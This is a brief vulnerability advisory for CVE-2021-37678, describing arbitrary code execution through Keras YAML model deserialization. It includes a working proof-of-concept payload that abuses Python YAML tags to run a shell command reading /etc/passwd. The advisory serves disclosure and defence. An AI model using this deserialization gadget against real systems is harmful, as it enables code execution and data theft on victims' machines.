CVE-2021-37678: Arbitrary code execution due to YAML deserialization
(updated )
TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.
from tensorflow.keras import models
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
models.model_from_yaml(payload)
